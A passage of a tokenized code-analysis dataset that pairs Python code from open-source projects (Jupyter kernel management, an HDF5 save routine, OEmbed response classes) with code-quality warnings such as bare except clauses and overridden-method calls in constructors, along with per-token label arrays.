")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Kern", "el", "Manager_", "(_", "Connect", "ion", "File", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "signal", "\\u", "kernel_", "(_", "self_", ",_", "signum_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Sen", "ds", " ", "a", " ", "signal", " ", "to", " ", "the", " ", "process", " ", "group", " ", "of", " ", "the", " ", "kernel", " ", "(", "this", "\\", "10", ";", " ", " ", " ", " ", "usual", "ly", " ", "include", "s", " ", "the", " ", "kernel", " ", "and", " ", "any", " ", "subproc", "esse", "s", " ", "spawne", "d", " ", "by", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "kernel", ").", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Not", "e", " ", "tha", "t", " ", "sinc", "e", " ", "only", " ", "SIG", "TERM", " ", "is", " ", "support", "ed", " ", "on", " ", "Window", "s", ",", " ", "this", " ", "function", " ", "is", "\\", "10", ";", " ", " ", " ", " ", "only", " ", "usef", "ul", " ", "on", " ", "Uni", "x", " ", "system", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "kernel_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "hasattr_", "(_", "os_", ",_", "\"", "getp", "gid", "\"_", ")_", "and_", "hasattr_", "(_", "os_", ",_", "\"", "kill", "pg", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pg", "id_", "=_", "os_", "._", "getp", "gid_", "(_", "self_", "._", "kernel_", "._", "pid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "kill", "pg_", "(_", "pg", "id_", ",_", "signum_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "OSE", "rror_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "kernel_", "._", "send", "\\u", "signal_", "(_", "signum_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Run", "time", "Error_", "(_", "\"", "Cann", "ot", " ", "signal", " ", "kernel", ".", " ", "No", " ", "kernel", " ", "is", " ", "runn", "ing", "!\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Kern", "el", "Manager_", "(_", "Connect", "ion", "File", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "is", "\\u", "alive_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Is", " ", "the", " ", "kernel", " ", "process", " ", "still", " ", "runn", "ing", "?\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "kernel_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "kernel_", "._", "poll_", "(_", ")_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "we", " ", "don", "'", "t", " ", "have", " ", "a", " ", "kernel_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "start", "\\u", "new", "\\u", "kernel_", "(_", "start", "up", "\\u", "timeout_", "=_", "60_", ",_", "kernel", "\\u", "name_", "=_", "'", "python", "'_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Start", " ", "a", " ", "new", " ", "kernel", ",", " ", "and", " ", "return", " ", "its", " ", "Manager", " ", "and", " ", "Client", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "km_", "=_", "Kern", "el", "Manager_", "(_", "kernel", "\\u", "name_", "=_", "kernel", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "km_", "._", "start", "\\u", "kernel_", "(_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kc_", "=_", "km_", "._", "client_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kc_", "._", "start", "\\u", "channels_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "kc_", "._", "wait", "\\u", "for", "\\u", "ready_", "(_", "timeout_", "=_", "start", "up", "\\u", "timeout_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Run", "time", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "kc_", "._", "stop", "\\u", "channels_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "km_", "._", "shut", "down", "\\u", "kernel_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "km_", ",_", "kc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "contextmanager_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "run", "\\u", "kernel_", "(_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Context", " ", "manage", "r", " ", "to", " ", "create", " ", "a", " ", "kernel", " ", "in", " ", "a", " ", "subproc", "ess", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "kernel", " ", "is", " ", "shut", " ", "down", " ", "whe", "n", " ", "the", " ", "context", " ", "exits", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", "\\", "10", ";", " ", " ", " ", " ", "-------", "\\", "10", ";", " ", " ", " ", " ", "kernel", "\\u", "client", ":", " ", "connect", "ed", " ", "Kern", "el", "Client", " ", "instance", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "km_", ",_", "kc_", "=_", "start", "\\u", "new", "\\u", "kernel_", "(_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "kc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "kc_", "._", "stop", "\\u", "channels_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "km_", "._", "shut", "down", "\\u", "kernel_", "(_", "now_", "=_", "True_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
xraypy/xraylarch/plugins/io/save_restore.py
[ { "content": " def save(self, *args):\n self._ids = [id(a) for a in args]\n self._objs = list(args)\n self.search(self.symtable)\n self.fh = h5py.File(self.fname, 'a')\n try:\n self.fh.attrs['datatype'] = 'LarchSaveFile'\n self.fh.attrs['version'] = '1.0.0'\n except:\n pass\n for nam, obj in self.out.items():\n try:\n self.add_data(self.fh, nam, obj)\n except:\n print( 'Could not save ', nam)\n\n for obj in self._objs:\n nam = getattr(obj, '__name__', hex(id(obj)))\n nam = fixName(nam, allow_dot=False)\n if nam.startswith('0x'):\n nam = 'obj_%s' % nam[2:]\n try:\n self.add_data(self.fh, nam, obj)\n except:\n print( 'Could not save ', nam)\n\n self.fh.close()", "metadata": "root.H5PySaveFile.save", "header": "['class', 'H5PySaveFile', '(', 'object', ')', ':', '___EOS___']", "index": 96 } ]
[ { "span": "except:", "start_line": 104, "start_column": 8, "end_line": 104, "end_column": 15 }, { "span": "except:", "start_line": 109, "start_column": 12, "end_line": 109, "end_column": 19 }, { "span": "except:", "start_line": 119, "start_column": 12, "end_line": 119, "end_column": 19 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "class_", "H", "5", "Py", "Save", "File_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "save_", "(_", "self_", ",_", "*_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "ids_", "=_", "[_", "id_", "(_", "a_", ")_", "for_", "a_", "in_", "args_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "objs_", "=_", "list_", "(_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "search_", "(_", "self_", "._", "symt", "able_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fh_", "=_", "h5py_", "._", "File_", "(_", "self_", "._", "fname_", ",_", "'", "a", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fh_", "._", "attrs_", "[_", "'", "datatype", "'_", "]_", "=_", "'", "Lar", "ch", "Save", "File", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fh_", "._", "attrs_", "[_", "'", "version", "'_", "]_", "=_", "'", "1.0", ".0", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "nam_", ",_", "obj_", "in_", "self_", "._", "out_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "add", "\\u", "data_", "(_", "self_", "._", "fh_", ",_", "nam_", ",_", "obj_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "'", "Cou", "ld", " ", "not", " ", "save", " ", "'_", ",_", "nam_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "obj_", "in_", "self_", "._", "\\u", "objs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nam_", "=_", "getattr_", "(_", "obj_", ",_", "'\\u", "\\u", "name", "\\u\\u'_", ",_", "hex_", "(_", "id_", "(_", "obj_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nam_", "=_", "fix", "Name_", "(_", "nam_", ",_", "allow", "\\u", "dot_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "nam_", "._", "startswith_", "(_", "'", "0", "x", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nam_", "=_", "'", "obj", "\\u", "%", "s", "'_", "%_", "nam_", "[_", "2_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "add", "\\u", "data_", "(_", "self_", "._", "fh_", ",_", "nam_", ",_", "obj_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "'", "Cou", "ld", " ", "not", " ", "save", " ", "'_", ",_", "nam_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "fh_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
`__init__` method calls overridden method
pyembed/pyembed/pyembed/core/response.py
[ { "content": "class OEmbedResponse(object):\n \"\"\"Base representation of an OEmbed response. Each response type is\n represented by a different subclass.\n \"\"\"\n\n\n\n", "metadata": "root.OEmbedResponse", "header": "['module', '___EOS___']", "index": 23 }, { "content": " def __init__(self, value_function):\n \"\"\"Constructor.\n\n :param value_function: function that takes a single string parameter,\n and returns the value of the field with that name from an OEmbed\n response (or None, if the field is not present).\n \"\"\"\n for field in self.fields():\n self.__set_attr_from_dict(value_function, field)", "metadata": "root.OEmbedResponse.__init__", "header": "['class', 'OEmbedResponse', '(', 'object', ')', ':', '___EOS___']", "index": 28 }, { "content": " def __set_attr_from_dict(self, value_function, field):\n self.__dict__[field] = value_function(field)", "metadata": "root.OEmbedResponse.__set_attr_from_dict", "header": "['class', 'OEmbedResponse', '(', 'object', ')', ':', '___EOS___']", "index": 38 }, { "content": " def fields(self):\n \"\"\"Returns the list of field names applicable for this response.\n\n On this base class, this is the list of fields common to all response\n types. Subclasses can override this to add in type-specific fields.\n\n :returns: list of field names applicable for this response.\n \"\"\"\n return ['type',\n 'version',\n 'title',\n 'author_name',\n 'author_url',\n 'provider_name',\n 'provider_url',\n 'cache_age',\n 'thumbnail_url',\n 'thumbnail_width',\n 'thumbnail_height']", "metadata": "root.OEmbedResponse.fields", "header": "['class', 'OEmbedResponse', '(', 'object', ')', ':', '___EOS___']", "index": 41 }, { "content": " def __setattr__(self, *args):\n raise TypeError('Responses are immutable')", "metadata": "root.OEmbedResponse.__setattr__", "header": "['class', 'OEmbedResponse', '(', 'object', ')', ':', '___EOS___']", "index": 61 }, { "content": "class OEmbedPhotoResponse(OEmbedResponse):\n \"\"\"Represents an OEmbed photo response.\"\"\"\n", "metadata": "root.OEmbedPhotoResponse", "header": "['module', '___EOS___']", "index": 65 }, { "content": " def fields(self):\n return super(OEmbedPhotoResponse, self).fields() + \\\n ['url', 'width', 'height']", "metadata": "root.OEmbedPhotoResponse.fields", "header": "['class', 'OEmbedPhotoResponse', '(', 'OEmbedResponse', ')', ':', '___EOS___']", "index": 68 }, { "content": "class OEmbedVideoResponse(OEmbedResponse):\n \"\"\"Represents an OEmbed video response.\"\"\"\n", "metadata": "root.OEmbedVideoResponse", "header": "['module', '___EOS___']", "index": 73 }, { "content": " def fields(self):\n return super(OEmbedVideoResponse, self).fields() + \\\n ['html', 'width', 'height']", "metadata": "root.OEmbedVideoResponse.fields", "header": "['class', 'OEmbedVideoResponse', '(', 'OEmbedResponse', ')', ':', '___EOS___']", "index": 76 }, { "content": "class OEmbedLinkResponse(OEmbedResponse):\n \"\"\"Represents an OEmbed link response.\"\"\"\n pass", "metadata": "root.OEmbedLinkResponse", "header": "['module', '___EOS___']", "index": 81 }, { "content": "class OEmbedRichResponse(OEmbedResponse):\n \"\"\"Represents an OEmbed rich response.\"\"\"\n", "metadata": "root.OEmbedRichResponse", "header": "['module', '___EOS___']", "index": 86 }, { "content": " def fields(self):\n return super(OEmbedRichResponse, self).fields() + \\\n ['html', 'width', 'height']", "metadata": "root.OEmbedRichResponse.fields", "header": "['class', 'OEmbedRichResponse', '(', 'OEmbedResponse', ')', ':', '___EOS___']", "index": 89 } ]
[ { "span": "self.fields():", "start_line": 35, "start_column": 21, "end_line": 35, "end_column": 34 } ]
[ { "span": "def fields(self):", "start_line": 41, "start_column": 4, "end_line": 41, "end_column": 21 }, { "span": "def fields(self):", "start_line": 68, "start_column": 4, "end_line": 68, "end_column": 21 }, { "span": "def fields(self):", "start_line": 76, "start_column": 4, "end_line": 76, "end_column": 21 }, { "span": "def fields(self):", "start_line": 89, "start_column": 4, "end_line": 89, "end_column": 21 } ]
1
false
[ "[CLS]_", "`_", "\\u\\u", "init\\u\\u_", "`_", "method_", "calls_", "overrid", "den_", "method_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "OE", "mbed", "Response_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Base", " ", "represent", "ation", " ", "of", " ", "an", " ", "OE", "mbed", " ", "response", ".", " ", " ", "Ea", "ch", " ", "response", " ", "type", " ", "is", "\\", "10", ";", " ", " ", " ", "represent", "ed", " ", "by", " ", "a", " ", "different", " ", "subclass", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "OE", "mbed", "Response_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "value", "\\u", "function_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Constructor", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "value", "\\u", "function", ":", " ", "function", " ", "tha", "t", " ", "take", "s", " ", "a", " ", "single", " ", "string", " ", "parameter", ",", "\\", "10", ";", " ", " ", " ", " ", "and", " ", "return", "s", " ", "the", " ", "value", " ", "of", " ", "the", " ", "field", " ", "with", " ", "tha", "t", " ", "name", " ", "from", " ", "an", " ", "OE", "mbed", "\\", "10", ";", " ", " ", " ", " ", "response", " ", "(", "or", " ", "Non", "e", ",", " ", "if", " ", "the", " ", "field", " ", "is", " ", "not", " ", "presen", "t", ").", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "field_", "in_", "self_", "._", "fields_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u\\u", "set\\u", "attr", "\\u", "from", "\\u", "dict_", "(_", "value", "\\u", "function_", ",_", "field_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "OE", "mbed", "Response_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "set\\u", "attr", "\\u", "from", "\\u", "dict_", "(_", "self_", ",_", "value", "\\u", "function_", ",_", "field_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u\\u", "dict\\u\\u_", "[_", "field_", "]_", "=_", "value", "\\u", "function_", "(_", "field_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "OE", "mbed", "Response_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "fields_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Return", "s", " ", "the", " ", "list", " ", "of", " ", "field", " ", "names", " ", "applica", "ble", " ", "for", " ", "this", " ", "response", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "On", " ", "this", " ", "base", " ", "class", ",", " ", "this", " ", "is", " ", "the", " ", "list", " ", "of", " ", "fields", " ", "common", " ", "to", " ", "all", " ", "response", "\\", "10", ";", " ", " ", " ", " ", "types", ".", " ", " ", "Subc", "lasse", "s", " ", "can", " ", "override", " ", "this", " ", "to", " ", "add", " ", "in", " ", "type", "-", "specific", " ", "fields", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "return", "s", ":", " ", "list", " ", "of", " ", "field", " ", "names", " ", "applica", "ble", " ", "for", " ", "this", " ", "response", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "[_", "'", "type", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "version", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "title", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "author", "\\u", "name", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "author", "\\u", "url", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "provide", "r", "\\u", "name", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "provide", "r", "\\u", "url", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "cache", "\\u", "age", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "thumbnail", "\\u", "url", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "thumbnail", "\\u", "widt", "h", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "thumbnail", "\\u", "height", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "OE", "mbed", "Response_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "setattr\\u\\u_", "(_", "self_", ",_", "*_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Type", "Error_", "(_", "'", "Responses", " ", "are", " ", "immutable", "'_", 